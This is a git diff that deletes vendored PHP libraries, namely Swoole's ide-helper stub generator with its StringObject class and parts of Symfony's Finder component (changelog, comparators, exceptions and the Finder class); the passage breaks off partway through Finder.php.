100644 index 11f3117..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php +++ /dev/null @@ -1,215 +0,0 @@ -string = $string; - } - - public function __toString(): string - { - return $this->string; - } - - public function length(): int - { - return strlen($this->string); - } - - /** - * @return false|int - */ - public function indexOf(string $needle, int $offset = 0) - { - return strpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function lastIndexOf(string $needle, int $offset = 0) - { - return strrpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function pos(string $needle, int $offset = 0) - { - return strpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function rpos(string $needle, int $offset = 0) - { - return strrpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function ipos(string $needle) - { - return stripos($this->string, $needle); - } - - /** - * @return static - */ - public function lower(): self - { - return new static(strtolower($this->string)); - } - - /** - * @return static - */ - public function upper(): self - { - return new static(strtoupper($this->string)); - } - - /** - * @return static - */ - public function trim(): self - { - return new static(trim($this->string)); - } - - /** - * @return static - */ - public function ltrim(): self - { - return new static(ltrim($this->string)); - } - - /** - * @return static - */ - public function rtrim(): self - { - return new static(rtrim($this->string)); - } - - /** - * @return static - */ - public function substr(int $offset, ?int $length = null) - { - return new static(substr($this->string, ...func_get_args())); - } - - public function repeat(int $n): StringObject - { - return new static(str_repeat($this->string, $n)); - } - - /** - * @param $str - */ - public function append($str): StringObject - { - if (is_string($str)) { - $this->string .= $str; - } else { - $this->string .= strval($str); - } - return $this; - } - - /** - * @param null|int $count - * @return static - */ - public function replace(string $search, string $replace, &$count = null) - { - return new static(str_replace($search, $replace, $this->string, $count)); - } - - public function startsWith(string $needle): bool - { - return strpos($this->string, $needle) === 0; - } - - public function endsWith(string $needle): bool - { - return strrpos($this->string, $needle) === (strlen($this->string) - strlen($needle)); - } - - public function equals($str, bool $strict = false): bool - { - if ($str instanceof StringObject) { - $str = strval($str); - } - if ($strict) { - return $this->string === $str; - } - return $this->string == $str; - } - - public function contains(string $subString): bool - { - return strpos($this->string, $subString) !== false; - } - - public function split(string $delimiter, int $limit = PHP_INT_MAX): ArrayObject - { - return static::detectArrayType(explode($delimiter, $this->string, $limit)); - } - - public function char(int $index): string - { - if ($index > strlen($this->string)) { - return ''; - } - return $this->string[$index]; - } - - /** - * @return static - */ - public function chunkSplit(int $chunkLength = 76, string $chunkEnd = '') - { - return new static(chunk_split($this->string, ...func_get_args())); - } - - public function chunk(int $splitLength = 1): ArrayObject - { - return static::detectArrayType(str_split($this->string, ...func_get_args())); - } - - public function toString(): string - { - return $this->string; - } - - protected static function detectArrayType(array $value): ArrayObject - { - return new ArrayObject($value); - } -} diff --git a/vendor/swoole/ide-helper/src/AbstractStubGenerator.php b/vendor/swoole/ide-helper/src/AbstractStubGenerator.php deleted file mode 100644 index 121f78c..0000000 --- a/vendor/swoole/ide-helper/src/AbstractStubGenerator.php +++ /dev/null @@ -1,405 +0,0 @@ - [], - self::ALIAS_SNAKE_CASE => [], - ]; - - /** - * Methods that don't need to have return type specified. - */ - protected const IGNORED_METHODS = [ - '__construct' => null, - '__destruct' => null, - ]; - - /** - * AbstractStubGenerator constructor. - * - * @throws Exception - * @throws ReflectionException - */ - public function __construct() - { - $this->init(); - - if (!extension_loaded($this->extension)) { - throw new Exception("Extension $this->extension not enabled or not installed."); - } - - $this->language = 'chinese'; - $this->dirOutput = dirname(__DIR__) . '/output/' . $this->extension; - $this->dirConfig = dirname(__DIR__) . '/config'; - $this->rf_ext = new ReflectionExtension($this->extension); - } - - /** - * @throws Exception - * @throws ReflectionException - */ - public function export(): void - { - // Retrieve and save all constants. - if ($this->rf_ext->getConstants()) { - $defines = ''; - foreach ($this->rf_ext->getConstants() as $name => $value) { - $defines .= sprintf("define('%s', %s);\n", $name, (is_numeric($value) ? $value : "'{$value}'")); - } - $this->writeToPhpFile($this->dirOutput . '/constants.php', $defines); - } - - // Retrieve and save all functions. - $output = $this->getFunctionsDef(); - if (!empty($output)) { - $this->writeToPhpFile($this->dirOutput . '/functions.php', $output); - } - - // Retrieve and save all classes. - $classes = $this->rf_ext->getClasses(); - // There are three types of class names in Swoole: - // 1. short name of a class. Short names start with "Co\", and they can be found in file output/aliases.php. - // 2. fully qualified name (class name with namespace prefix), e.g., \Swoole\Timer. These classes can be found - // under folder output/namespace. - // 3. snake_case. e.g., swoole_timer. These aliases can be found in file output/aliases.php. - foreach ($classes as $className => $ref) { - if (strtolower(substr($className, 0, 3)) == 'co\\') { - $className = str_replace('Swoole\\Coroutine', 'Co', $ref->getName()); - $this->aliases[self::ALIAS_SHORT_NAME][$className] = $ref->getName(); - } elseif (strchr($className, '\\')) { - $this->exportNamespaceClass($className, $ref); - } else { - $this->aliases[self::ALIAS_SNAKE_CASE][$className] = $this->getNamespaceAlias($className); - } - } - - $class_alias = ''; - foreach (array_filter($this->aliases) as $type => $aliases) { - if (!empty($class_alias)) { - $class_alias .= "\n"; - } - asort($aliases); - foreach ($aliases as $alias => $original) { - $class_alias .= "class_alias({$original}::class, {$alias}::class);\n"; - } - } - $this->writeToPhpFile($this->dirOutput . '/aliases.php', $class_alias); - } - - /** - * @return string - */ - public function getVersion(): string - { - return $this->rf_ext->getVersion(); - } - - /** - * @return string - */ - public function getExtension(): string - { - return $this->extension; - } - - /** - * @param string $extension - * @return $this - */ - public function setExtension(string $extension): self - { - $this->extension = $extension; - - return $this; - } - - /** - * @param string $className - * @return string - */ - protected function getNamespaceAlias(string $className): string - { - if (strcasecmp($className, 'co') === 0) { - return Coroutine::class; - } elseif (strcasecmp($className, 'chan') === 0) { - return Channel::class; - } else { - return str_replace('_', '\\', ucwords($className, '_')); - } - } - - /** - * @param string $class - * @param string $name - * @param string $type - * @return array - */ - protected function getConfig(string $class, string $name, string $type): array - { - switch ($type) { - case self::C_CONSTANT: - $dir = 'constant'; - break; - case self::C_METHOD: - $dir = 'method'; - break; - case self::C_PROPERTY: - $dir = 'property'; - break; - default: - return false; - } - $file = $this->dirConfig . '/' . $this->language . '/' . strtolower($class) . '/' . $dir . '/' . $name . '.php'; - if (is_file($file)) { - return include $file; - } else { - return array(); - } - } - - /** - * @param ReflectionParameter $parameter - * @return string|null - */ - protected function getDefaultValue(ReflectionParameter $parameter): ?string - { - try { - $default_value = $parameter->getDefaultValue(); - if ($default_value === []) { - $default_value = '[]'; - } elseif ($default_value === null) { - $default_value = 'null'; - } elseif (is_bool($default_value)) { - $default_value = $default_value ? 'true' : 'false'; - } else { - $default_value = var_export($default_value, true); - } - } catch (\Throwable $e) { - if ($parameter->isOptional()) { - $default_value = 'null'; - } else { - $default_value = null; - } - } - return $default_value; - } - - /** - * @return string - */ - protected function getFunctionsDef(): string - { - $all = ''; - foreach ($this->rf_ext->getFunctions() as $function) { - $vp = array(); - $comment = "/**\n"; - $params = $function->getParameters(); - foreach ($params as $param) { - $default_value = $this->getDefaultValue($param); - $comment .= " * @param \${$param->name}[" . - ($param->isOptional() ? 'optional' : 'required') . - "]\n"; - $vp[] = ($param->isPassedByReference() ? '&' : '') . - "\${$param->name}" . - ($default_value ? " = {$default_value}" : ''); - } - $comment .= " * @return mixed\n"; - $comment .= " */\n"; - $comment .= sprintf("function %s(%s){}\n\n", $function->getName(), join(', ', $vp)); - $all .= $comment; - } - - return $all; - } - - /** - * @param string $classname - * @param ReflectionClass $ref - * @throws Exception - * @throws ReflectionException - */ - protected function exportNamespaceClass(string $classname, ReflectionClass $ref): void - { - (new NamespaceRule($this))->validate($classname); - - $class = ClassGenerator::fromReflection(new ClassReflection($ref->getName())); - foreach ($class->getMethods() as $method) { - if ((null === $method->getReturnType()) && !array_key_exists($method->getName(), self::IGNORED_METHODS)) { - $method->setDocBlock( - DocBlockGenerator::fromArray( - [ - 'shortDescription' => null, - 'longDescription' => null, - 'tags' => [ - new ReturnTag( - [ - 'datatype' => 'mixed', - ] - ), - ], - ] - ) - ); - } - } - - $this->writeToPhpFile( - $this->dirOutput . '/namespace/' . implode('/', array_slice(explode('\\', $classname), 1)) . '.php', - $class->generate() - ); - } - - /** - * @param string $path - * @param string $content - * @return AbstractStubGenerator - */ - protected function writeToPhpFile(string $path, string $content): self - { - $this->mkdir(dirname($path)); - file_put_contents($path, "deleteDir($unzippedDir)->deleteDir($targetDir); - - (new Client())->get($downloadUrl, ["sink" => "temp.zip"]); - - shell_exec("unzip temp.zip"); - if (!is_dir($unzippedDir)) { - throw new Exception( - sprintf( - "Top directory in the zip file downloaded from URL '%s' is not '%s'.", - $downloadUrl, - $unzippedDir - ) - ); - } - rename($unzippedDir, $targetDir); - unlink("temp.zip"); - - return $this; - } - - /** - * @param string $dir - * @param bool $recreate - * @throws Exception - */ - protected function deleteDir(string $dir, bool $recreate = false): self - { - (new Filesystem())->remove($dir); - if ($recreate) { - $this->mkdir($dir); - } - - return $this; - } - - /** - * @return AbstractStubGenerator - */ - abstract protected function init(): AbstractStubGenerator; -} diff --git a/vendor/swoole/ide-helper/src/Constant.php b/vendor/swoole/ide-helper/src/Constant.php deleted file mode 100644 index 1babc85..0000000 --- a/vendor/swoole/ide-helper/src/Constant.php +++ /dev/null @@ -1,20 +0,0 @@ -setGenerator($generator); - } - - /** - * @param mixed ...$params - */ - public function validate(...$params): void - { - if (in_array($this->getGenerator()->getExtension(), $this->getEnabledExtensions())) { - $this->validateWith(...$params); - } - } - - /** - * @return AbstractStubGenerator - */ - protected function getGenerator(): AbstractStubGenerator - { - return $this->generator; - } - - /** - * @param AbstractStubGenerator $generator - * @return $this - */ - protected function setGenerator(AbstractStubGenerator $generator): self - { - $this->generator = $generator; - - return $this; - } - - /** - * @param mixed ...$params - * @throws Exception - */ - abstract protected function validateWith(...$params): void; - - /** - * @return array - */ - abstract protected function getEnabledExtensions(): array; -} diff --git a/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php b/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php deleted file mode 100644 index f38166e..0000000 --- a/vendor/swoole/ide-helper/src/Rules/NamespaceRule.php +++ /dev/null @@ -1,38 +0,0 @@ -getGenerator()->getExtension()) !== 0) { - throw new Exception( - "Class $params[0] should be under namespace \\{$this->getGenerator()->getExtension()} but not." - ); - } - } - - /** - * @inheritDoc - */ - protected function getEnabledExtensions(): array - { - return [ - Constant::EXT_SWOOLE, - ]; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php b/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php deleted file mode 100644 index 0bdc527..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/Swoole.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php deleted file mode 100644 index d296dff..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwooleAsync.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE_ASYNC; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php deleted file mode 100644 index 3eacae4..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwooleLib.php +++ /dev/null @@ -1,74 +0,0 @@ -extension = "swoole_library"; - $this->dirOutput = dirname($this->dirOutput) . DIRECTORY_SEPARATOR . $this->extension; - } - - /** - * @inheritDoc - */ - public function export(): void - { - $this->download("library", $this->rf_version, $this->dirOutput); - - $extraFiles = self::EXTRA_SRC_FILES; - /** @var DirectoryIterator $file */ - foreach (new DirectoryIterator($this->dirOutput) as $file) { - if (!$file->isDot() && ($file->getFilename() != 'src')) { - $extraFiles[] = $file->getFilename(); - } - } - $fileSystem = new Filesystem(); - foreach ($extraFiles as $file) { - $fileSystem->remove($this->dirOutput . DIRECTORY_SEPARATOR . $file); - } - } - - /** - * @inheritDoc - * @throws Exception - */ - protected function init(): AbstractStubGenerator - { - $this->extension = Constant::EXT_SWOOLE; // Set to a dummy value temporarily. - $this->rf_version = $_SERVER["SWOOLE_LIB_VERSION"] ?? self::DEFAULT_VERSION; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php deleted file mode 100644 index 7e7fc1e..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwooleOrm.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE_ORM; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php b/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php deleted file mode 100644 index 7494757..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwoolePostgresql.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE_POSTGRESQL; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php deleted file mode 100644 index 9424401..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwooleSerialize.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE_SERIALIZE; - - return $this; - } -} diff --git a/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php b/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php deleted file mode 100644 index 6334ea6..0000000 --- a/vendor/swoole/ide-helper/src/StubGenerators/SwooleZookeeper.php +++ /dev/null @@ -1,26 +0,0 @@ -extension = Constant::EXT_SWOOLE_ZOOKEEPER; - - return $this; - } -} diff --git a/vendor/symfony/finder/CHANGELOG.md b/vendor/symfony/finder/CHANGELOG.md deleted file mode 100644 index 2045184..0000000 --- a/vendor/symfony/finder/CHANGELOG.md +++ /dev/null @@ -1,74 +0,0 @@ -CHANGELOG -========= - -4.3.0 ------ - - * added Finder::ignoreVCSIgnored() to ignore files based on rules listed in .gitignore - -4.2.0 ------ - - * added $useNaturalSort option to Finder::sortByName() method - * the `Finder::sortByName()` method will have a new `$useNaturalSort` - argument in version 5.0, not defining it is deprecated - * added `Finder::reverseSorting()` to reverse the sorting - -4.0.0 ------ - - * removed `ExceptionInterface` - * removed `Symfony\Component\Finder\Iterator\FilterIterator` - -3.4.0 ------ - - * deprecated `Symfony\Component\Finder\Iterator\FilterIterator` - * added Finder::hasResults() method to check if any results were found - -3.3.0 ------ - - * added double-star matching to Glob::toRegex() - -3.0.0 ------ - - * removed deprecated classes - -2.8.0 ------ - - * deprecated adapters and related classes - -2.5.0 ------ - * added support for GLOB_BRACE in the paths passed to Finder::in() - -2.3.0 ------ - - * added a way to ignore unreadable directories (via Finder::ignoreUnreadableDirs()) - * unified the way subfolders that are not executable are handled by always throwing an AccessDeniedException exception - -2.2.0 ------ - - * added Finder::path() and Finder::notPath() methods - * added finder adapters to improve performance on specific platforms - * added support for wildcard characters (glob patterns) in the paths passed - to Finder::in() - -2.1.0 ------ - - * added Finder::sortByAccessedTime(), Finder::sortByChangedTime(), and - Finder::sortByModifiedTime() - * added Countable to Finder - * added support for an array of directories as an argument to - Finder::exclude() - * added searching based on the file content via Finder::contains() and - Finder::notContains() - * added support for the != operator in the Comparator - * [BC BREAK] filter expressions (used for file name and content) are no more - considered as regexps but glob patterns when they are enclosed in '*' or '?' diff --git a/vendor/symfony/finder/Comparator/Comparator.php b/vendor/symfony/finder/Comparator/Comparator.php deleted file mode 100644 index 6aee21c..0000000 --- a/vendor/symfony/finder/Comparator/Comparator.php +++ /dev/null @@ -1,98 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Comparator; - -/** - * Comparator. - * - * @author Fabien Potencier - */ -class Comparator -{ - private $target; - private $operator = '=='; - - /** - * Gets the target value. - * - * @return string The target value - */ - public function getTarget() - { - return $this->target; - } - - /** - * Sets the target value. - * - * @param string $target The target value - */ - public function setTarget($target) - { - $this->target = $target; - } - - /** - * Gets the comparison operator. - * - * @return string The operator - */ - public function getOperator() - { - return $this->operator; - } - - /** - * Sets the comparison operator. - * - * @param string $operator A valid operator - * - * @throws \InvalidArgumentException - */ - public function setOperator($operator) - { - if (!$operator) { - $operator = '=='; - } - - if (!\in_array($operator, ['>', '<', '>=', '<=', '==', '!='])) { - throw new \InvalidArgumentException(sprintf('Invalid operator "%s".', $operator)); - } - - $this->operator = $operator; - } - - /** - * Tests against the target. - * - * @param mixed $test A test value - * - * @return bool - */ - public function test($test) - { - switch ($this->operator) { - case '>': - return $test > $this->target; - case '>=': - return $test >= $this->target; - case '<': - return $test < $this->target; - case '<=': - return $test <= $this->target; - case '!=': - return $test != $this->target; - } - - return $test == $this->target; - } -} diff --git a/vendor/symfony/finder/Comparator/DateComparator.php b/vendor/symfony/finder/Comparator/DateComparator.php deleted file mode 100644 index d17c77a..0000000 --- a/vendor/symfony/finder/Comparator/DateComparator.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Comparator; - -/** - * DateCompare compiles date comparisons. - * - * @author Fabien Potencier - */ -class DateComparator extends Comparator -{ - /** - * @param string $test A comparison string - * - * @throws \InvalidArgumentException If the test is not understood - */ - public function __construct(string $test) - { - if (!preg_match('#^\s*(==|!=|[<>]=?|after|since|before|until)?\s*(.+?)\s*$#i', $test, $matches)) { - throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a date test.', $test)); - } - - try { - $date = new \DateTime($matches[2]); - $target = $date->format('U'); - } catch (\Exception $e) { - throw new \InvalidArgumentException(sprintf('"%s" is not a valid date.', $matches[2])); - } - - $operator = isset($matches[1]) ? $matches[1] : '=='; - if ('since' === $operator || 'after' === $operator) { - $operator = '>'; - } - - if ('until' === $operator || 'before' === $operator) { - $operator = '<'; - } - - $this->setOperator($operator); - $this->setTarget($target); - } -} diff --git a/vendor/symfony/finder/Comparator/NumberComparator.php b/vendor/symfony/finder/Comparator/NumberComparator.php deleted file mode 100644 index 80667c9..0000000 --- a/vendor/symfony/finder/Comparator/NumberComparator.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Comparator; - -/** - * NumberComparator compiles a simple comparison to an anonymous - * subroutine, which you can call with a value to be tested again. - * - * Now this would be very pointless, if NumberCompare didn't understand - * magnitudes. - * - * The target value may use magnitudes of kilobytes (k, ki), - * megabytes (m, mi), or gigabytes (g, gi). Those suffixed - * with an i use the appropriate 2**n version in accordance with the - * IEC standard: http://physics.nist.gov/cuu/Units/binary.html - * - * Based on the Perl Number::Compare module. - * - * @author Fabien Potencier PHP port - * @author Richard Clamp Perl version - * @copyright 2004-2005 Fabien Potencier - * @copyright 2002 Richard Clamp - * - * @see http://physics.nist.gov/cuu/Units/binary.html - */ -class NumberComparator extends Comparator -{ - /** - * @param string|int $test A comparison string or an integer - * - * @throws \InvalidArgumentException If the test is not understood - */ - public function __construct(?string $test) - { - if (!preg_match('#^\s*(==|!=|[<>]=?)?\s*([0-9\.]+)\s*([kmg]i?)?\s*$#i', $test, $matches)) { - throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a number test.', $test)); - } - - $target = $matches[2]; - if (!is_numeric($target)) { - throw new \InvalidArgumentException(sprintf('Invalid number "%s".', $target)); - } - if (isset($matches[3])) { - // magnitude - switch (strtolower($matches[3])) { - case 'k': - $target *= 1000; - break; - case 'ki': - $target *= 1024; - break; - case 'm': - $target *= 1000000; - break; - case 'mi': - $target *= 1024 * 1024; - break; - case 'g': - $target *= 1000000000; - break; - case 'gi': - $target *= 1024 * 1024 * 1024; - break; - } - } - - $this->setTarget($target); - $this->setOperator(isset($matches[1]) ? $matches[1] : '=='); - } -} diff --git a/vendor/symfony/finder/Exception/AccessDeniedException.php b/vendor/symfony/finder/Exception/AccessDeniedException.php deleted file mode 100644 index ee195ea..0000000 --- a/vendor/symfony/finder/Exception/AccessDeniedException.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Exception; - -/** - * @author Jean-François Simon - */ -class AccessDeniedException extends \UnexpectedValueException -{ -} diff --git a/vendor/symfony/finder/Exception/DirectoryNotFoundException.php b/vendor/symfony/finder/Exception/DirectoryNotFoundException.php deleted file mode 100644 index c6cc0f2..0000000 --- a/vendor/symfony/finder/Exception/DirectoryNotFoundException.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder\Exception; - -/** - * @author Andreas Erhard - */ -class DirectoryNotFoundException extends \InvalidArgumentException -{ -} diff --git a/vendor/symfony/finder/Finder.php b/vendor/symfony/finder/Finder.php deleted file mode 100644 index ebc6c68..0000000 --- a/vendor/symfony/finder/Finder.php +++ /dev/null @@ -1,812 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder; - -use Symfony\Component\Finder\Comparator\DateComparator; -use Symfony\Component\Finder\Comparator\NumberComparator; -use Symfony\Component\Finder\Exception\DirectoryNotFoundException; -use Symfony\Component\Finder\Iterator\CustomFilterIterator; -use Symfony\Component\Finder\Iterator\DateRangeFilterIterator; -use Symfony\Component\Finder\Iterator\DepthRangeFilterIterator; -use Symfony\Component\Finder\Iterator\ExcludeDirectoryFilterIterator; -use Symfony\Component\Finder\Iterator\FilecontentFilterIterator; -use Symfony\Component\Finder\Iterator\FilenameFilterIterator; -use Symfony\Component\Finder\Iterator\SizeRangeFilterIterator; -use Symfony\Component\Finder\Iterator\SortableIterator; - -/** - * Finder allows to build rules to find files and directories. - * - * It is a thin wrapper around several specialized iterator classes. - * - * All rules may be invoked several times. - * - * All methods return the current Finder object to allow chaining: - * - * $finder = Finder::create()->files()->name('*.php')->in(__DIR__); - * - * @author Fabien Potencier - */ -class Finder implements \IteratorAggregate, \Countable -{ - const IGNORE_VCS_FILES = 1; - const IGNORE_DOT_FILES = 2; - const IGNORE_VCS_IGNORED_FILES = 4; - - private $mode = 0; - private $names = []; - private $notNames = []; - private $exclude = []; - private $filters = []; - private $depths = []; - private $sizes = []; - private $followLinks = false; - private $reverseSorting = false; - private $sort = false; - private $ignore = 0; - private $dirs = []; - private $dates = []; - private $iterators = []; - private $contains = []; - private $notContains = []; - private $paths = []; - private $notPaths = []; - private $ignoreUnreadableDirs = false; - - private static $vcsPatterns = ['.svn', '_svn', 'CVS', '_darcs', '.arch-params', '.monotone', '.bzr', '.git', '.hg']; - - public function __construct() - { - $this->ignore = static::IGNORE_VCS_FILES | static::IGNORE_DOT_FILES; - } - - /** - * Creates a new Finder. - * - * @return static - */ - public static function create() - { - return new static(); - } - - /** - * Restricts the matching to directories only. - * - * @return $this - */ - public function directories() - { - $this->mode = Iterator\FileTypeFilterIterator::ONLY_DIRECTORIES; - - return $this; - } - - /** - * Restricts the matching to files only. - * - * @return $this - */ - public function files() - { - $this->mode = Iterator\FileTypeFilterIterator::ONLY_FILES; - - return $this; - } - - /** - * Adds tests for the directory depth. - * - * Usage: - * - * $finder->depth('> 1') // the Finder will start matching at level 1. - * $finder->depth('< 3') // the Finder will descend at most 3 levels of directories below the starting point. - * $finder->depth(['>= 1', '< 3']) - * - * @param string|int|string[]|int[] $levels The depth level expression or an array of depth levels - * - * @return $this - * - * @see DepthRangeFilterIterator - * @see NumberComparator - */ - public function depth($levels) - { - foreach ((array) $levels as $level) { - $this->depths[] = new Comparator\NumberComparator($level); - } - - return $this; - } - - /** - * Adds tests for file dates (last modified). - * - * The date must be something that strtotime() is able to parse: - * - * $finder->date('since yesterday'); - * $finder->date('until 2 days ago'); - * $finder->date('> now - 2 hours'); - * $finder->date('>= 2005-10-15'); - * $finder->date(['>= 2005-10-15', '<= 2006-05-27']); - * - * @param string|string[] $dates A date range string or an array of date ranges - * - * @return $this - * - * @see strtotime - * @see DateRangeFilterIterator - * @see DateComparator - */ - public function date($dates) - { - foreach ((array) $dates as $date) { - $this->dates[] = new Comparator\DateComparator($date); - } - - return $this; - } - - /** - * Adds rules that files must match. - * - * You can use patterns (delimited with / sign), globs or simple strings. - * - * $finder->name('*.php') - * $finder->name('/\.php$/') // same as above - * $finder->name('test.php') - * $finder->name(['test.py', 'test.php']) - * - * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns - * - * @return $this - * - * @see FilenameFilterIterator - */ - public function name($patterns) - { - $this->names = array_merge($this->names, (array) $patterns); - - return $this; - } - - /** - * Adds rules that files must not match. - * - * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns - * - * @return $this - * - * @see FilenameFilterIterator - */ - public function notName($patterns) - { - $this->notNames = array_merge($this->notNames, (array) $patterns); - - return $this; - } - - /** - * Adds tests that file contents must match. - * - * Strings or PCRE patterns can be used: - * - * $finder->contains('Lorem ipsum') - * $finder->contains('/Lorem ipsum/i') - * $finder->contains(['dolor', '/ipsum/i']) - * - * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns - * - * @return $this - * - * @see FilecontentFilterIterator - */ - public function contains($patterns) - { - $this->contains = array_merge($this->contains, (array) $patterns); - - return $this; - } - - /** - * Adds tests that file contents must not match. - * - * Strings or PCRE patterns can be used: - * - * $finder->notContains('Lorem ipsum') - * $finder->notContains('/Lorem ipsum/i') - * $finder->notContains(['lorem', '/dolor/i']) - * - * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns - * - * @return $this - * - * @see FilecontentFilterIterator - */ - public function notContains($patterns) - { - $this->notContains = array_merge($this->notContains, (array) $patterns); - - return $this; - } - - /** - * Adds rules that filenames must match. - * - * You can use patterns (delimited with / sign) or simple strings. - * - * $finder->path('some/special/dir') - * $finder->path('/some\/special\/dir/') // same as above - * $finder->path(['some dir', 'another/dir']) - * - * Use only / as dirname separator. - * - * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns - * - * @return $this - * - * @see FilenameFilterIterator - */ - public function path($patterns) - { - $this->paths = array_merge($this->paths, (array) $patterns); - - return $this; - } - - /** - * Adds rules that filenames must not match. - * - * You can use patterns (delimited with / sign) or simple strings. - * - * $finder->notPath('some/special/dir') - * $finder->notPath('/some\/special\/dir/') // same as above - * $finder->notPath(['some/file.txt', 'another/file.log']) - * - * Use only / as dirname separator. - * - * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns - * - * @return $this - * - * @see FilenameFilterIterator - */ - public function notPath($patterns) - { - $this->notPaths = array_merge($this->notPaths, (array) $patterns); - - return $this; - } - - /** - * Adds tests for file sizes. - * - * $finder->size('> 10K'); - * $finder->size('<= 1Ki'); - * $finder->size(4); - * $finder->size(['> 10K', '< 20K']) - * - * @param string|int|string[]|int[] $sizes A size range string or an integer or an array of size ranges - * - * @return $this - * - * @see SizeRangeFilterIterator - * @see NumberComparator - */ - public function size($sizes) - { - foreach ((array) $sizes as $size) { - $this->sizes[] = new Comparator\NumberComparator($size); - } - - return $this; - } - - /** - * Excludes directories. - * - * Directories passed as argument must be relative to the ones defined with the `in()` method. For example: - * - * $finder->in(__DIR__)->exclude('ruby'); - * - * @param string|array $dirs A directory path or an array of directories - * - * @return $this - * - * @see ExcludeDirectoryFilterIterator - */ - public function exclude($dirs) - { - $this->exclude = array_merge($this->exclude, (array) $dirs); - - return $this; - } - - /** - * Excludes "hidden" directories and files (starting with a dot). - * - * This option is enabled by default. - * - * @param bool $ignoreDotFiles Whether to exclude "hidden" files or not - * - * @return $this - * - * @see ExcludeDirectoryFilterIterator - */ - public function ignoreDotFiles($ignoreDotFiles) - { - if ($ignoreDotFiles) { - $this->ignore |= static::IGNORE_DOT_FILES; - } else { - $this->ignore &= ~static::IGNORE_DOT_FILES; - } - - return $this; - } - - /** - * Forces the finder to ignore version control directories. - * - * This option is enabled by default. - * - * @param bool $ignoreVCS Whether to exclude VCS files or not - * - * @return $this - * - * @see ExcludeDirectoryFilterIterator - */ - public function ignoreVCS($ignoreVCS) - { - if ($ignoreVCS) { - $this->ignore |= static::IGNORE_VCS_FILES; - } else { - $this->ignore &= ~static::IGNORE_VCS_FILES; - } - - return $this; - } - - /** - * Forces Finder to obey .gitignore and ignore files based on rules listed there. - * - * This option is disabled by default. - * - * @return $this - */ - public function ignoreVCSIgnored(bool $ignoreVCSIgnored) - { - if ($ignoreVCSIgnored) { - $this->ignore |= static::IGNORE_VCS_IGNORED_FILES; - } else { - $this->ignore &= ~static::IGNORE_VCS_IGNORED_FILES; - } - - return $this; - } - - /** - * Adds VCS patterns. - * - * @see ignoreVCS() - * - * @param string|string[] $pattern VCS patterns to ignore - */ - public static function addVCSPattern($pattern) - { - foreach ((array) $pattern as $p) { - self::$vcsPatterns[] = $p; - } - - self::$vcsPatterns = array_unique(self::$vcsPatterns); - } - - /** - * Sorts files and directories by an anonymous function. - * - * The anonymous function receives two \SplFileInfo instances to compare. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @return $this - * - * @see SortableIterator - */ - public function sort(\Closure $closure) - { - $this->sort = $closure; - - return $this; - } - - /** - * Sorts files and directories by name. - * - * This can be slow as all the matching files and directories must be retrieved for comparison. - * - * @param bool $useNaturalSort Whether to use natural sort or not, disabled by default - * - * @return $this - * - * @see SortableIterator - */ - public function sortByName(/* bool $useNaturalSort = false */) - { - if (\func_num_args() < 1 && __CLASS__ !== static::class && __CLASS__ !== (new \ReflectionMethod($this, 